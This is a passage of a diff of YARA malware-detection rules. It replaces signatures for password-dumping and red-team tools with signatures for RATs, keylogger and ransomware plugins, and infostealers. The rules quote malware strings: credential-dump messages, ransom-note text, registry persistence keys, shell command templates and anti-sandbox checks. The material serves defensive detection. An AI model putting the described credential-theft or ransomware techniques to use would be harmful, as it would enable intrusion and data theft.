"https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L726-L737" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1896-L1920" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "b3c6e9b393c244c7bf6489f54ebd622a09da050a65d6dbde325d5bcd7d85f39a" + logic_hash = "539998248ded0eb8ea1702c527804f89cfd55412f17ec699bd0af801f4fba673" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Linux.Trojan.PLEAD" strings: - $s1 = "\\projects\\windows\\BrowserPasswordDump\\Release\\FireMaster.pdb" ascii - $s2 = "%s: Dumping passwords" fullword ascii - $s3 = "%s - Found login data file...dumping the passwords from file %s" fullword ascii - $s4 = "%s Dumping secrets from login json file %s" fullword ascii + $x1 = "CFileTransfer" ascii + $x2 = "CFileManager" ascii + $x3 = "CPortForward" ascii + $x4 = "CPortForwardManager" ascii + $x5 = "CRemoteShell" ascii + $x6 = "CSockClient" ascii + $s1 = "/proc/self/exe" fullword ascii + $s2 = "/bin/sh" fullword ascii + $s3 = "echo -e '" ascii + $s4 = "%s <DIR> %s" ascii + $s5 = "%s %lld %s" ascii + $s6 = "Files: %d Size: %lld" ascii + $s7 = "Dirs: %d" ascii + $s8 = "%s(%s)/" ascii + $s9 = "%s %s %s %s" ascii condition: - uint16( 0 ) == 0x5a4d and 3 of them + uint16( 0 ) == 0x457f and ( all of ( $x* ) or all of ( $s* ) or 12 of them ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Ftppassworddumper : FILE +rule DITEKSHEN_MALWARE_Win_CRAT : FILE { meta: - description = "Detects SecurityXploded FTP Password Dumper tool" + description = "Detects CRAT main DLL" author = "ditekSHen" - id = "d876c201-b527-531c-9563-0b1a1c6334cb" + id = "9757a8de-61ea-55c0-b64c-055798450985" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L739-L750" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1922-L1944" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "941bfb9b1ce71252c5aa05bd654bdcf1af6cc1d5f720bc2c239e17454f15beda" + logic_hash = "5a9fef68e110a1564dd5956408abcc3736cfa6853e1ac5510a089cc68f6bdc35" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "\\projects\\windows\\FTPPasswordDump\\Release\\FireMaster.pdb" ascii - $s2 = "//Dump all the FTP passwords to a file \"c:\\passlist.txt\"" ascii - $s3 = "//Dump all the FTP passwords to console" ascii - $s4 = "FTP Password Dump" fullword wide + $s1 = "cmd /c \"dir %s /s >> %s\"" wide + $s2 = "Set-Cookie:\\b*{.+?}\\n" wide + $s3 = "Location: {[0-9]+}" wide + $s4 = "Content-Disposition: form-data; name=\"%s\"; filename=\"" ascii + $s6 = "%serror.log" wide + $v2x_1 = "?timestamp=%u" wide + $v2x_2 = "config.txt" wide + $v2x_3 = "entdll.dll" wide + $v2x_4 = "\\cmd.exe" wide + $v2x_5 = "[MyDocuments]" wide + $v2x_6 = "@SetWindowTextW FindFileExA" wide + $v2x_7 = "Microsoft\\Windows\\WinX\\Group1\\*.exe" wide + $v2s_1 = "Installed Anti Virus Programs" ascii + $v2s_2 = "Running Processes" ascii + $v2s_3 = "id=%u&content=" ascii condition: - uint16( 0 ) == 0x5a4d and 3 of them + uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 6 of ( $v2x* ) or all of ( $v2s* ) or ( 2 of ( $v2s* ) and 4 of ( $v2x* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Emailpassworddumper : FILE +rule DITEKSHEN_MALWARE_Win_Cratpluginkeylogger : FILE { meta: - description = "Detects SecurityXploded Email Password Dumper tool" + description = "Detects CRAT keylogger plugin DLL" author = "ditekSHen" - id = "25e140de-4a0a-5d4f-a93f-a414b9879f2b" + id = "a8682786-7704-56f0-a6df-b4e2ab4d7536" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L752-L764" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1946-L1962" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "7f07611385d45bf45bfb8ee95e56febfb992fb7b416321c5b590878636a5c1b7" + logic_hash = "58ef1f7466fcc871be2e74aa447c76970fd90c9d9d345a896fb8e6335114d189" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.CRAT" strings: - $s1 = "\\projects\\windows\\EmailPasswordDump\\Release\\FireMaster.pdb" ascii - $s2 = "//Dump all the Email passwords to a file \"c:\\passlist.txt\"" ascii - $s3 = "EmailPasswordDump" fullword wide - $s4 = "//Dump all the Email passwords to console" ascii - $s5 = "Email Password Dump" fullword wide + $ai1 = "VM detected!" fullword wide + $ai2 = "Sandbox detected!" fullword wide + $ai3 = "Debug detected!" fullword wide + $ai4 = "Analysis process detected!" fullword wide + $s1 = "Create KeyLogMutex %s failure %d" wide + $s2 = "Key Log Mutex already created! %s" wide + $s3 = /KeyLogThread\s(started|finished|terminated)!/ wide + $s4 = /KeyLog_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii condition: - uint16( 0 ) == 0x5a4d and 3 of them + uint16( 0 ) == 0x5a4d and ( ( all of ( $ai* ) and 1 of ( $s* ) ) or ( 3 of ( $s* ) and 1 of ( $ai* ) ) or 5 of them ) } -rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpsphere : FILE +rule DITEKSHEN_MALWARE_Win_Cratpluginclipboardmonitor : FILE { meta: - description = "Detects SharpSphere red teamers tool to interact with the guest operating systems of virtual machines managed by vCenter" + description = "Detects CRAT Clipboad Monitor plugin DLL" author = "ditekSHen" - id = "878b5174-2368-5fc8-9573-7b2759cab409" + id = "587487c7-f00b-5d4a-8b18-e46d6c6560e2" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L766-L783" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1964-L1979" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "aae9355fcc7a6b5faf3807c85983032519550e936d5660c823d13731083be512" + logic_hash = "c3e692a06388e143a8e1053e75a6eb6a82da5bdf26d38e3a0e339bc20d8312a1" score = 75 - quality = 50 + quality = 75 tags = "FILE" strings: - $s1 = "get_virtualExecUsage" fullword ascii - $s2 = "Command to execute" fullword ascii - $s3 = "<guestusername>k__" ascii - $s4 = ".VirtualMachineDeviceRuntimeInfoVirtualEthernetCardRuntimeState" ascii - $s5 = "datastoreUrl" ascii - $s6 = "SharpSphere.vSphere." ascii - $s7 = "HelpText+vCenter SDK URL, i.e. https://127.0.0.1/sdk" ascii - $s8 = "[x] Execution finished, attempting to retrieve the results" fullword wide - $s9 = "C:\\Windows\\System32\\cmd.exe" fullword wide - $s10 = "C:\\Users\\Public\\" fullword wide + $ai1 = "VM detected!" fullword wide + $ai2 = "Sandbox detected!" fullword wide + $ai3 = "Debug detected!" fullword wide + $ai4 = "Analysis process detected!" fullword wide + $s1 = "Clipboard Monitor Mutex [%s] already created!" wide + $s2 = "ClipboardMonitorThread started!" fullword wide + $s3 = /MonitorClipboardThread\s(finished|terminated)!/ wide + $s4 = /ClipboardMonitor_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii condition: - uint16( 0 ) == 0x5a4d and 4 of them + uint16( 0 ) == 0x5a4d and ( ( all of ( $ai* ) and 1 of ( $s* ) ) or ( 3 of ( $s* ) and 1 of ( $ai* ) ) or 5 of them ) } -rule DITEKSHEN_INDICATOR_TOOL_Exchangeexploit : FILE +rule DITEKSHEN_MALWARE_Win_Cratpluginscreencapture : FILE { meta: - description = "Hunt for executables potentially embedding Exchange Server exploitation artificats" + description = "Detects CRAT Screen Capture plugin DLL" author = "ditekSHen" - id = "429f738a-009a-5326-92e0-bdc907be96f2" + id = "ef0b6b88-8b1b-5ab5-ad81-276eaff0411f" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L785-L798" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1981-L2000" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "4b0d22a296cab6591d63568aa44845ef7fcc413d45c368a712928411d11a8177" + logic_hash = "7b4378ae883d01338fabe2eb50a5509b722c661e63afc287afa07b263a0ebc42" score = 75 - quality = 69 + quality = 75 tags = "FILE" strings: - $s1 = "ecp/default.flt?" ascii wide nocase - $s2 = "owa/auth/logon.aspx?" ascii wide nocase - $s3 = "X-AnonResource-Backend" ascii wide - $s4 = "EWS/Exchange.asmx?" ascii wide nocase - $s5 = "X-BEResource" ascii wide - $s6 = "https://%s/owa/auth/" ascii wide + $ai1 = "VM detected!" fullword wide + $ai2 = "Sandbox detected!" fullword wide + $ai3 = "Debug detected!" fullword wide + $ai4 = "Analysis process detected!" fullword wide + $s1 = "User is inactive!, give up capture" wide + $s2 = "Capturing screen..." wide + $s3 = "%s\\P%02d%lu.tmp" fullword wide + $s4 = "CloseHandle ScreenCaptureMutex failure! %d" fullword wide + $s5 = "ScreenCaptureMutex already created! %s" fullword wide + $s6 = "Create ScreenCaptureMutex %s failure %d" fullword wide + $s7 = /ScreenCaptureThread\s(finished|terminated)!/ wide + $s8 = /ScreenCapture_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and 5 of them + uint16( 0 ) == 0x5a4d and ( ( all of ( $ai* ) and 1 of ( $s* ) ) or ( 3 of ( $s* ) and 1 of ( $ai* ) ) or 6 of them ) } -rule DITEKSHEN_INDICATOR_TOOL_Goclr : FILE +rule DITEKSHEN_MALWARE_Win_Cratpluginransomhansom : FILE { meta: - description = "Detects binaries utilizing Go-CLR for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory" + description = "Detects CRAT Hansom Ransomware plugin DLL" author = "ditekSHen" - id = "21766cad-17dd-525a-9ebe-cd90e892cff1" + id = "0bfc97df-545f-5453-afe0-5777dc1c95b4" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L800-L814" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2002-L2020" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "a2a79793b1f530bcf9f79983f29a655f270cf0147606690b19eaeb82d4bd1f0d" + logic_hash = "b22f6d22630f311241634513eb051df2b36af84a938c1ae1f5284e5a5d7d3077" score = 75 - quality = 75 + quality = 48 tags = "FILE" strings: - $s1 = "github.com/ropnop/go-clr.(*IC" ascii - $s2 = "EnumKeyExWRegEnumValueWRegOpenKeyExWRtlCopyMemoryRtlGetVersionShellExecuteWStartServiceW" ascii - $c1 = "ICorRuntimeHost" ascii wide - $c2 = "CLRCreateInstance" ascii wide - $c3 = "ICLRRuntimeInfo" ascii wide - $c4 = "ICLRMetaHost" ascii wide - $go = "Go build ID:" ascii wide + $cmd1 = "/f /im \"%s\"" wide + $cmd2 = "add HKLM\\%s /v %s /t REG_DWORD /d %d /F" wide + $cmd3 = "add HKCU\\%s /v %s /t REG_DWORD /d %d /F" wide + $cmd4 = "\"%s\" a -y -ep -k -r -s -ibck -df -m0 -hp%s -ri1:%d \"%s\" \"%s\"" wide + $s1 = "\\hansom.jpg" wide + $s2 = "HansomMain" fullword ascii wide + $s3 = "ExtractHansom" fullword ascii wide + $s4 = "Hansom2008" fullword ascii + $s5 = ".hansomkey" fullword wide + $s6 = ".hansom" fullword wide + $s7 = /Ransom_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii condition: - uint16( 0 ) == 0x5a4d and all of ( $s* ) or ( 2 of ( $c* ) and $go ) + uint16( 0 ) == 0x5a4d and ( ( 2 of ( $cmd* ) and 2 of ( $s* ) ) or ( 4 of ( $s* ) and 1 of ( $cmd* ) ) or 6 of them ) } -rule DITEKSHEN_INDICATOR_TOOL_Edgecookiesview : FILE +rule DITEKSHEN_MALWARE_Win_Aliencrypter : FILE { meta: - description = "Detects EdgeCookiesView" + description = "Detects AlienCrypter injector/downloader/obfuscator" author = "ditekSHen" - id = "42c6eb2e-bf5c-5956-9009-c29551ce715d" + id = "af9e785a-bdec-5d3e-9a50-56f7f1a0507e" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L833-L847" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2022-L2036" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "9ba6d416e02c1958806356c67636609dcca758da9f7e3d1fc15244cc5ff038fc" + logic_hash = "28a2a6e6d58fd6efbb5753a7be5b621a3eac546d45f9481b9dd2641cbe70b547" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "AddRemarkCookiesTXT" fullword wide - $s2 = "# Netscape HTTP Cookie File" fullword wide - $s3 = "/scookiestxt" fullword wide - $s4 = "/deleteregkey" fullword wide - $s5 = "Load cookies from:" wide - $s6 = "Old cookies folder of Edge/IE" wide - $pdb = "\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" ascii + $s1 = ".AlienRunPE." ascii wide + $s2 = "RunAsNewUser_RunDLL" fullword wide + $s3 = { 00 50 52 4f 43 45 53 53 5f 53 55 53 50 45 4e 44 5f 52 45 53 55 4d 45 00 64 6e 6c 69 62 2e 50 45 00 } + $s4 = { 2e 41 6c 69 65 6e 52 75 6e 50 45 00 50 52 4f 43 45 53 53 5f 54 45 52 4d 49 4e 41 54 45 00 } + $s5 = "@@@http" wide + $resp1 = "</p><p>@@@77,90," ascii wide + $resp2 = "</p><p>@@@HH,JA," ascii wide condition: - uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( ( $pdb ) and 2 of ( $s* ) ) ) + ( uint16( 0 ) == 0x5a4d and 3 of them ) or ( 1 of ( $resp* ) and 2 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Sharpnopsexec : FILE +rule DITEKSHEN_MALWARE_Win_Ficker : FILE { meta: - description = "Detects SharpNoPSExec" + description = "Detects Ficker infostealer" author = "ditekSHen" - id = "10898364-6d77-5127-a16b-5fd3b1c652d5" + id = "1cfeea86-e8bf-50fb-ba08-435d7a14a913" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L849-L864" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2038-L2055" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "c1d76639e7b6464d302729b48bbcd810216132868035904bb9866e7b31ccfac2" + logic_hash = "adcc0ffc0e1ded36dc41c22d10d2ea293d5740484203892bcecf89a5f4001452" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Ficker" strings: - $s1 = "|-> Service" wide - $s2 = "authenticated as" wide - $s3 = "ImpersonateLoggedOnUser failed. Error:{0}" wide - $s4 = "uPayload" fullword ascii - $s5 = "pcbBytesNeeded" fullword ascii - $s6 = "SharpNoPSExec" ascii wide - $pdb1 = "SharpNoPSExec\\obj\\Debug\\SharpNoPSExec.pdb" ascii - $pdb2 = "SharpNoPSExec\\obj\\Release\\SharpNoPSExec.pdb" ascii + $s1 = "JNOde\\" ascii + $s2 = "\"SomeNone" fullword ascii + $s3 = "kindmessage" fullword ascii + $s4 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writting non-UTF-8 byte sequences" ascii + $s5 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writing non-UTF-8 byte sequences" ascii + $s6 = "(os error other os erroroperation interrruptedwrite zerotimed" ascii + $s7 = "(os error other os erroroperation interruptedwrite zerotimed" ascii + $s8 = "nPipeAlreadyExistsWouldBlockInvalidInputInvalidDataTimedOutWriteZeroInterruptedOtherN" fullword ascii + $s9 = "_matherr(): %s in %s(%g, %g) (retval=%g)" ascii condition: - uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or ( 1 of ( $pdb* ) and 1 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and 5 of them } -rule DITEKSHEN_INDICATOR_TOOL_Chromecookiesview : FILE +rule DITEKSHEN_MALWARE_Win_Xorist : FILE { meta: - description = "Detects ChromeCookiesView" + description = "Detects Xorist ransomware" author = "ditekSHen" - id = "c1b89468-edf2-59d1-89b3-5822fa19d6ab" + id = "76119441-343d-51c3-90eb-9d54c80a983d" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L866-L880" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2057-L2078" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "81acd0978fc03525e7092ab51c681b61f9de0252066ce871298e2cd96b1d3024" + logic_hash = "b34e3fa065cabcd8d26908866e53ff599631128e1da884e42a2e63d890879eaa" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.Xorist" strings: - $s1 = "AddRemarkCookiesTXT" fullword wide - $s2 = "Decrypt cookies" wide - $s3 = "/scookiestxt" fullword wide - $s4 = "/deleteregkey" fullword wide - $s5 = "Cookies.txt Format" wide - $s6 = "# Netscape HTTP Cookie File" wide - $pdb = "\\ChromeCookiesView\\Release\\ChromeCookiesView.pdb" ascii + $x1 = { 00 4d 00 41 00 47 00 45 00 0b 00 50 00 55 00 + 53 00 53 00 59 00 4c 00 49 00 43 00 4b 00 45 + 00 52 00 } + $x2 = { 30 70 33 6e 53 4f 75 72 63 33 20 58 30 72 31 35 + 37 2c 20 6d 6f 74 68 65 72 66 75 63 6b 65 72 21 + 00 70 75 73 73 79 6c 69 63 6b 65 72 00 2e 62 6d + 70 00 2e 00 2e 2e 00 6f 70 65 6e 00 2e 65 78 65 } + $s1 = "\\shell\\open\\command" fullword ascii + $s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii + $s3 = "CRYPTED!" fullword ascii + $s4 = "Attention!" fullword ascii + $s5 = "Password:" fullword ascii + $s6 = { 43 6f 6d 53 70 65 63 00 2f 63 20 64 65 6c 20 22 00 22 20 3e 3e 20 4e 55 4c } condition: - uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( ( $pdb ) and 2 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or 5 of ( $s* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Sliver : FILE +rule DITEKSHEN_MALWARE_Win_PYSA : FILE { meta: - description = "Detects Sliver implant cross-platform adversary emulation/red team" + description = "Detects PYSA/Mespinoza ransomware" author = "ditekSHen" - id = "e0c5404b-8e6b-5c3a-9e37-56012c3802dd" + id = "3a3fad6a-46bc-51dc-9723-4412034ca442" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L882-L900" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2080-L2100" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "4f9442b74c84c7b4a8fcf93de2919d12efe2f41d0b4e8514b43822fba0962af2" + logic_hash = "e614b827bd8d065e94852fed01497c785bf90c52c3624aff9939b3f40ecf96a4" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.PYSA" strings: - $x1 = "github.com/bishopfox/sliver/protobuf/sliverpbb." ascii - $s1 = ".commonpb.ResponseR" ascii - $s2 = ".PortfwdProtocol" ascii - $s3 = ".WGTCPForwarder" ascii - $s4 = ".WGSocksServerR" ascii - $s5 = ".PivotEntryR" ascii - $s6 = ".BackdoorReq" ascii - $s7 = ".ProcessDumpReq" ascii - $s8 = ".InvokeSpawnDllReq" ascii - $s9 = ".SpawnDll" ascii - $s10 = ".TCPPivotReq" ascii + $s1 = "%s\\Readme.README" fullword wide + $s2 = "Every byte on any types of your devices was encrypted" ascii + $s3 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 74 65 78 74 00 (50|70) (59|79) (53|73) (41|61) } + $s4 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 63 61 70 74 69 6f 6e 00 00 (50|70) (59|79) (53|73) (41|61) } + $s5 = { 2e 62 61 74 00 00 6f 70 65 6e 00 00 00 00 53 + 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f + 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 + 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 + 63 69 65 73 5c 53 79 73 74 65 6d 00 00 00 } + $f1 = ".?AVPK_EncryptorFilter@CryptoPP@@" ascii + $f2 = ".?AV?$TF_EncryptorImpl@" ascii + $f3 = "@VTF_EncryptorBase@CryptoPP@@" ascii condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and ( 1 of ( $x* ) or 5 of ( $s* ) ) + uint16( 0 ) == 0x5a4d and all of ( $f* ) and 3 of ( $s* ) } -rule DITEKSHEN_INDICATOR_TOOL_Owlproxy : FILE +rule DITEKSHEN_MALWARE_Win_Polar : FILE { meta: - description = "Hunt for OwlProxy" + description = "Detects Polar ransomware" author = "ditekSHen" - id = "86e2144e-c5d3-5bd6-b287-1157066126a3" + id = "ab4e4478-5417-5918-b5df-5b6ffe7438a9" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L902-L921" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2102-L2123" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "fa7dd5eeb9799fd651317ceecbed6c960f16c387dc18723409053e44cd281582" + logic_hash = "4f05a8ace9a03d02f54f0ebdd5349d1d1b23db8e34aa71edd44eebf02b88745c" score = 75 - quality = 50 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.Polar" strings: - $is1 = "call_new command: " wide - $is2 = "call_proxy cmd: " wide - $is3 = "download_file: " wide - $is4 = "cmdhttp_run" wide - $is5 = "sub_proxyhttp_run" wide - $is6 = "proxyhttp_run" wide - $is7 = "webshell_run" wide - $is8 = "/exchangetopicservices/" fullword wide - $is9 = "c:\\windows\\system32\\wmipd.dll" fullword wide - $iu1 = "%s://+:%d%s" wide - $iu2 = "%s://+:%d%spp/" wide - $iu3 = "%s://+:%d%spx/" wide + $s1 = "Encrypt Failed ! ErrorMessage :" wide + $s2 = ".locked" fullword wide + $s3 = ".cryptd" fullword wide + $s4 = "$SysReset" fullword wide + $s5 = "Polar.Properties.Resources" ascii wide + $s6 = "AES_EnDecryptor.Basement" fullword ascii + $s7 = "RunCMDCommand" fullword ascii + $s8 = "killerps_list" fullword ascii + $s9 = "clearlog" fullword ascii + $s10 = "encryptFile" fullword ascii + $s11 = "changeBackPictrue" fullword ascii + $pdb1 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x86\\Release\\Encode.pdb" ascii + $pdb2 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x64\\Release\\Encode.pdb" ascii condition: - uint16( 0 ) == 0x5a4d and 6 of ( $is* ) or ( all of ( $iu* ) and 2 of ( $is* ) ) + uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or ( 1 of ( $pdb* ) and 2 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Backstab : FILE +rule DITEKSHEN_MALWARE_Win_Bitrat : FILE { meta: - description = "Detect Backstab tool capable of killing antimalware protected processes by leveraging sysinternals Process Explorer (ProcExp) driver" + description = "Detects BitRAT RAT" author = "ditekSHen" - id = "1e514d03-9b78-5e75-9a31-02c0413e23a7" + id = "9041a21f-0f27-5e90-8429-863e361381bf" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L923-L939" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2125-L2153" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "d25c3ff4d7c120fdf7c275d11da7a321bcbdb275dcfaa699b5bb4bd66167ec92" + logic_hash = "128c3c8cea0439f272de241c77fc9ed46e64419e497091e444e98123dad059cb" score = 75 - quality = 75 + quality = 25 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.BitRAT" strings: - $s1 = "NtLoadDriver: %x" fullword ascii - $s2 = "POSIXLY_CORRECT" fullword ascii - $s3 = "\\\\.\\PROCEXP" ascii - $s4 = "ProcExpOpenProtectedProcess.DeviceIoControl: %" ascii - $s5 = "ProcExpKillHandle.DeviceIoControl" ascii - $s6 = "[%#llu] [%ws]: %ws" fullword ascii - $s7 = "D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR" wide - $s8 = "-k -d c:\\\\driver.sys" ascii - $s9 = "backstab.exe -" ascii + $s1 = "\\plg\\" fullword ascii + $s2 = "klgoff_del" fullword ascii + $s3 = "files_delete" ascii + $s4 = "files_zip_start" fullword ascii + $s5 = "files_exec" fullword ascii + $s6 = "drives_get" fullword ascii + $s7 = "srv_list" fullword ascii + $s8 = "con_list" fullword ascii + $s9 = "ddos_stop" fullword ascii + $s10 = "socks5_srv_start" fullword ascii + $s11 = "/getUpdates?offset=" fullword ascii + $s12 = "Action: /dlex" fullword ascii + $s13 = "Action: /clsbrw" fullword ascii + $s14 = "Action: /usb" fullword ascii + $s15 = "/klg" fullword ascii + $s16 = "klg|" fullword ascii + $s17 = "Slowloris" fullword ascii + $s18 = "Bot ID:" ascii + $t1 = "<sz>N/A</sz>" fullword ascii + $t2 = "<silent>N/A</silent>" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 6 of them + uint16( 0 ) == 0x5a4d and ( 7 of ( $s* ) or ( 4 of ( $s* ) and 1 of ( $t* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_EXP_Sharpprintnightmare : FILE +rule DITEKSHEN_MALWARE_Win_Poullight : FILE { meta: - description = "Detect SharpPrintNightmare" + description = "Detects Poullight infostealer" author = "ditekSHen" - id = "15f52fce-27cc-52e7-91d5-7e2f6db5b596" + id = "c80143f8-9c44-5e96-b1ff-2adb4bf031e4" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L941-L961" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2155-L2176" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "22c890a22ce6b7c1a06068018364f7c5a2afe1bee5b5bc6a8bae3703a11fac26" + logic_hash = "e60ffb10892d35664a088d69c965e130f87bb1a59c257d484bdfe5085074bccd" score = 75 quality = 75 tags = "FILE" + snort2_sid = "920074-920075" + snort3_sid 